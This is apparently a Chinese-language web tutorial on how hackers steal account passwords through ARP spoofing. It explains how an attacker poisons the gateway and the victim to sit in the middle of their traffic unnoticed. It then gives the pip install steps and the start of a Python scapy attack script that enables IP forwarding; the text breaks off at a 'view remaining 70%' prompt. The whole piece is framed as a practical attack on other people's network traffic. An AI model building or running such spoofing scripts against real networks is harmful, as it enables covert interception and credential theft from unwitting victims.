我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。
在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行dns欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。
▊ 什么是ARP欺骗
这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。
一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python脚本来做到这一点。
在常规网络中,所有设备均正常地与网关通信,然后再与Internet通信,如下图所示:
现在,攻击者需要将ARP响应发送到两个主机:
向网关发送ARP响应,说“我有受害者的IP地址”。
向受害者发送ARP响应,说“我有网关的IP地址”。
一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:
一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。
▊ 实战演示
好了,理论说完了!在开始之前,您需要安装所需的库:
pip3 install scapy如果您使用的是Windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:
pip3 install pywin32编写Python脚本
from scapy.all import Ether, ARP, srp, send import argparse import time import os import sys
def _enable_linux_iproute(): """ Enables IP route ( IP Forward ) in linux-based distro """ file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path) as f: if f.read() == 1: # already enabled return with open(file_path, "w") as f: print(1, file=f)
def _enable_windows_iproute(): """ Enables IP route (IP Forwarding) in Windows """ from services import WService # enable Remote Access service service = WService("RemoteAccess") service.start()
def enable_ip_route(verbose=True): """ Enables IP forwarding """ if verbose: print("[!] Enabling IP Routing...") _enable_windows_iproute() if "nt" in os.name else _enable_linux_ip...
点击查看剩余70%
网友评论0